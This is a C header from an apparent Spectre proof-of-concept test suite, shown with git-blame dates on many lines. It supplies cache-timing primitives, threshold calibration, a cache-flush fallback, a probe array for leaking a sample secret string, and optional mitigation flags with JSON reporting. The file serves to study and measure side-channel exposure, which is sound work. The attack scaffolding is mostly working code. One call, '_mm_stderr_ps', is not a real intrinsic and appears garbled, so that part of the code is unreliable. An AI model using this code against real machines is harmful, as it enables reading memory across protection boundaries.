2022-01-28 16:33:17 +01:00
|
|
|
#include <stdio.h>
|
|
|
|
#include <stdlib.h>
|
|
|
|
#include <stdint.h>
|
|
|
|
#include <getopt.h>
|
|
|
|
#include <string.h>
|
|
|
|
#include <x86intrin.h>
|
|
|
|
|
|
|
|
#if defined(__i386__) || defined(__amd64__)
|
|
|
|
#define CACHELINE_SIZE 64
|
|
|
|
#else
|
|
|
|
#error "unsupported architecture"
|
|
|
|
#endif
|
|
|
|
|
|
|
|
#if defined(__SSE__) && !defined(__SSE2__)
|
|
|
|
#define NORDTSCP
|
|
|
|
#define NOMFENCE
|
|
|
|
#define NOCLFLUSH
|
2022-03-25 13:38:33 +01:00
|
|
|
#define LATENCY 18 + 18
|
|
|
|
#endif
|
2022-01-28 16:33:17 +01:00
|
|
|
|
|
|
|
#ifndef NORDTSCP
|
|
|
|
#define LATENCY 42 + 42
|
|
|
|
#else
|
|
|
|
#ifndef NOMFENCE
|
|
|
|
#define LATENCY 18 + 18
|
|
|
|
#endif
|
|
|
|
#endif
|
|
|
|
|
2022-04-12 13:46:35 +02:00
|
|
|
#if OCTOPUS_STRAIN == V1
|
|
|
|
#ifdef MASKING_MITIGATION
|
|
|
|
/* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27
|
|
|
|
*
|
|
|
|
* array_index_mask_nospec() - generate a mask that is ~0UL when the
|
|
|
|
* bounds check succeeds and 0 otherwise
|
|
|
|
* @index: array element index
|
|
|
|
* @size: number of elements in array
|
|
|
|
*
|
|
|
|
* Returns:
|
|
|
|
* 0 - (index < size)
|
|
|
|
*/
|
|
|
|
static inline unsigned long
|
|
|
|
octopus_array_index_mask_nospec(unsigned long index, unsigned long size)
|
|
|
|
{
|
|
|
|
unsigned long mask;
|
|
|
|
__asm__ __volatile__ ("cmp %1,%2; sbb %0,%0;"
|
|
|
|
:"=r" (mask)
|
|
|
|
:"g"(size),"r" (index)
|
|
|
|
:"cc");
|
|
|
|
return mask;
|
|
|
|
}
|
|
|
|
#endif //MASKING_MITIGATION
|
|
|
|
|
|
|
|
#ifdef NOCLFLUSH
|
|
|
|
#define CACHE_FLUSH_ITERATIONS 2048
|
|
|
|
#define CACHE_FLUSH_STRIDE 4096
|
|
|
|
|
|
|
|
uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS];
|
|
|
|
|
|
|
|
/* Flush memory using long SSE instructions */
|
|
|
|
void
|
|
|
|
octopus_flush_memory_sse(uint8_t * addr)
|
|
|
|
{
|
|
|
|
float* p = (float *)addr;
|
|
|
|
float c = 0.f;
|
|
|
|
__m128 i = _mm_setr_ps(c, c, c, c);
|
|
|
|
|
|
|
|
int k, l;
|
|
|
|
/* Non-sequential memory addressing by looping through k by l */
|
|
|
|
for (k = 0; k < 4; k++)
|
|
|
|
for (l = 0; l < 4; l++)
|
|
|
|
_mm_stderr_ps(&p[(l * 4 + k) * 4], i);
|
|
|
|
}
|
|
|
|
#endif //NOCLFLUSH
|
|
|
|
#endif // OCTOPUS_STRAIN V1
|
|
|
|
|
|
|
|
#if OCTOPUS_STRAIN == V2
|
|
|
|
#endif // OCTOPUS_STRAIN V2
|
2022-01-28 16:33:17 +01:00
|
|
|
|
2022-04-12 13:12:30 +02:00
|
|
|
#define GAP 512
|
|
|
|
|
|
|
|
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
|
|
|
unsigned int cache_hit_threshold, array1_size = 16;
|
|
|
|
uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
|
|
|
|
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
|
|
|
|
|
|
|
|
#define __OCTOPUS_ARGS__\
|
|
|
|
while ((o = getopt(argc, argv, "t:j")) != EOF) {\
|
|
|
|
switch (o) {\
|
|
|
|
case 't':\
|
|
|
|
cache_hit_threshold = atoi(optarg);\
|
|
|
|
break;\
|
|
|
|
case 'j':\
|
|
|
|
json++;\
|
|
|
|
break;\
|
|
|
|
default:\
|
|
|
|
usage:\
|
|
|
|
fprintf(stderr, "usage: %s [-j] "\
|
|
|
|
"[-t threshold]\n"\
|
|
|
|
"\t-j\t\tJSON output\n"\
|
|
|
|
"\t-t INT\t\tfixed threshold\n", argv[0]);\
|
|
|
|
return 1;\
|
|
|
|
}\
|
|
|
|
}\
|
|
|
|
if (argc != optind) {\
|
|
|
|
goto usage;\
|
|
|
|
}
|
|
|
|
|
|
|
|
#define __OCTOPUS_TIMINGS__\
|
|
|
|
/* Time reads. Order is lightly mixed up to prevent stride prediction */\
|
|
|
|
for (i = 0; i < 256; i++) {\
|
|
|
|
mix_i = ((i * 167) + 13) & 255;\
|
|
|
|
addr = & channel[mix_i * GAP];\
|
2022-04-12 13:46:35 +02:00
|
|
|
if (octopus_timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {\
|
2022-04-12 13:12:30 +02:00
|
|
|
results[mix_i]++; /* cache hit - add +1 to score for this value */\
|
|
|
|
}\
|
|
|
|
}\
|
|
|
|
/* Locate highest results in j */\
|
|
|
|
j = -1;\
|
|
|
|
for (i = 0; i < 256; i++) {\
|
|
|
|
if (j < 0 || results[i] >= results[j]) {\
|
|
|
|
j = i;\
|
|
|
|
}\
|
|
|
|
}\
|
|
|
|
if (results[j] >= 3) {\
|
|
|
|
break;\
|
|
|
|
}
|
|
|
|
|
|
|
|
#define __OCTOPUS_NOCLFLUSH_INIT__\
|
|
|
|
int junk2 = 0;\
|
|
|
|
int l;\
|
|
|
|
(void)junk2;
|
|
|
|
|
|
|
|
|
2022-01-28 16:33:17 +01:00
|
|
|
static inline unsigned
|
2022-04-12 13:46:35 +02:00
|
|
|
octopus_timed_access(volatile uint8_t *addr)
|
2022-01-28 16:33:17 +01:00
|
|
|
{
|
|
|
|
uint64_t t0, t1;
|
|
|
|
#pragma GCC diagnostic ignored "-Wuninitialized"
|
|
|
|
unsigned int junk = junk;
|
|
|
|
#ifndef NORDTSCP
|
|
|
|
t0 = __rdtscp(& junk);
|
|
|
|
junk |= *addr;
|
|
|
|
t1 = __rdtscp(& junk);
|
|
|
|
#else
|
|
|
|
#ifndef NOMFENCE
|
|
|
|
/*
|
|
|
|
Since the rdstc instruction isn't serialized, newer processors will try to
|
|
|
|
reorder it, ruining its value as a timing mechanism.
|
|
|
|
To get around this, we use the mfence instruction to introduce a memory
|
|
|
|
barrier and force serialization. mfence is used because it is portable across
|
|
|
|
Intel and AMD.
|
|
|
|
*/
|
|
|
|
_mm_mfence();
|
|
|
|
t0 = __rdtsc();
|
|
|
|
_mm_mfence();
|
|
|
|
junk = *addr;
|
|
|
|
_mm_mfence();
|
|
|
|
t1 = __rdtsc();
|
|
|
|
_mm_mfence();
|
|
|
|
#else
|
|
|
|
/*
|
|
|
|
The mfence instruction was introduced with the SSE2 instruction set, so
|
|
|
|
we have to ifdef it out on pre-SSE2 processors.
|
|
|
|
Luckily, these older processors don't seem to reorder the rdtsc instruction,
|
|
|
|
so not having mfence on older processors is less of an issue.
|
|
|
|
*/
|
|
|
|
t0 = __rdtsc();
|
|
|
|
junk |= *addr;
|
|
|
|
t1 = __rdtsc();
|
|
|
|
#endif // NOMFENCE
|
|
|
|
#endif // NORDTSCP
|
|
|
|
return (unsigned)(t1 - t0 - LATENCY);
|
|
|
|
}
|
|
|
|
|
|
|
|
static void
|
2022-04-12 13:46:35 +02:00
|
|
|
octopus_calibrate_threshold(unsigned int *threshold)
|
2022-01-28 16:33:17 +01:00
|
|
|
{
|
|
|
|
volatile char buf[2 * CACHELINE_SIZE];
|
|
|
|
volatile uint8_t* bufp;
|
|
|
|
int i;
|
|
|
|
const int cnt = 10000;
|
|
|
|
uint64_t tcache = 0;
|
|
|
|
__attribute__((unused))
|
|
|
|
volatile int junk = 0;
|
|
|
|
|
|
|
|
bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINE_SIZE) & ~(CACHELINE_SIZE - 1)));
|
|
|
|
|
|
|
|
junk |= *bufp;
|
|
|
|
|
|
|
|
for (i = 0, tcache = 0; i < cnt; i++) {
|
2022-04-12 13:46:35 +02:00
|
|
|
tcache += octopus_timed_access(bufp);
|
2022-01-28 16:33:17 +01:00
|
|
|
}
|
|
|
|
tcache = tcache / cnt;
|
|
|
|
|
|
|
|
if (threshold != NULL) {
|
|
|
|
*threshold = tcache + LATENCY;
|
|
|
|
}
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
2022-04-12 13:46:35 +02:00
|
|
|
void
|
|
|
|
octopus_to_json(char** argv, int successes) {
|
|
|
|
printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
|
|
|
|
#ifndef NORDTSCP
|
|
|
|
printf("\"rdtscp\": true, ");
|
|
|
|
#else
|
|
|
|
printf("\"rdtscp\": false, ");
|
|
|
|
#endif
|
|
|
|
#ifndef NOMFENCE
|
|
|
|
printf("\"mfence\": true, ");
|
|
|
|
#else
|
|
|
|
printf("\"mfence\": false, ");
|
|
|
|
#endif
|
|
|
|
#ifndef NOCLFLUSH
|
|
|
|
printf("\"clflush\": true ");
|
|
|
|
#else
|
|
|
|
printf("\"clflush\": false ");
|
|
|
|
#endif
|
|
|
|
#if OCTOPUS_STRAIN == V1
|
|
|
|
printf("}, \"mitigations\": { ");
|
|
|
|
#ifdef LFENCE_MITIGATION
|
|
|
|
printf("\"lfence\": true, ");
|
|
|
|
#else
|
|
|
|
printf("\"lfence\": false, ");
|
|
|
|
#endif
|
|
|
|
#ifdef MASKING_MITIGATION
|
|
|
|
printf("\"masking\": true ");
|
|
|
|
#else
|
|
|
|
printf("\"masking\": false ");
|
|
|
|
#endif
|
|
|
|
#endif // OCTOPUS_STRAIN == V1
|
|
|
|
printf("}, ");
|
|
|
|
printf("\"threshold\": %d, ", cache_hit_threshold);
|
|
|
|
printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));
|
|
|
|
}
|
2022-01-28 16:33:17 +01:00
|
|
|
|
2022-04-12 13:46:35 +02:00
|
|
|
void
|
|
|
|
octopus_result_line(char** argv, int successes) {
|
|
|
|
fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
|
|
|
|
#ifndef NORDTSCP
|
|
|
|
fprintf(stderr, "RDTSCP ");
|
|
|
|
#else
|
|
|
|
fprintf(stderr, "RDTSC ");
|
|
|
|
#endif
|
|
|
|
#ifndef NOMFENCE
|
|
|
|
fprintf(stderr, "MFENCE ");
|
|
|
|
#endif
|
|
|
|
#ifndef NOCLFLUSH
|
|
|
|
fprintf(stderr, "CLFLUSH ");
|
|
|
|
#endif
|
|
|
|
#if OCTOPUS_STRAIN == V1
|
|
|
|
#ifdef LFENCE_MITIGATION
|
|
|
|
fprintf(stderr, "LFENCE_MITIGATION ");
|
|
|
|
#endif
|
|
|
|
#ifdef MASKING_MITIGATION
|
|
|
|
fprintf(stderr, "MASKING_MITIGATION ");
|
|
|
|
#endif
|
|
|
|
#endif // OCTOPUS_STRAIN == V1
|
|
|
|
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret));
|
|
|
|
}
|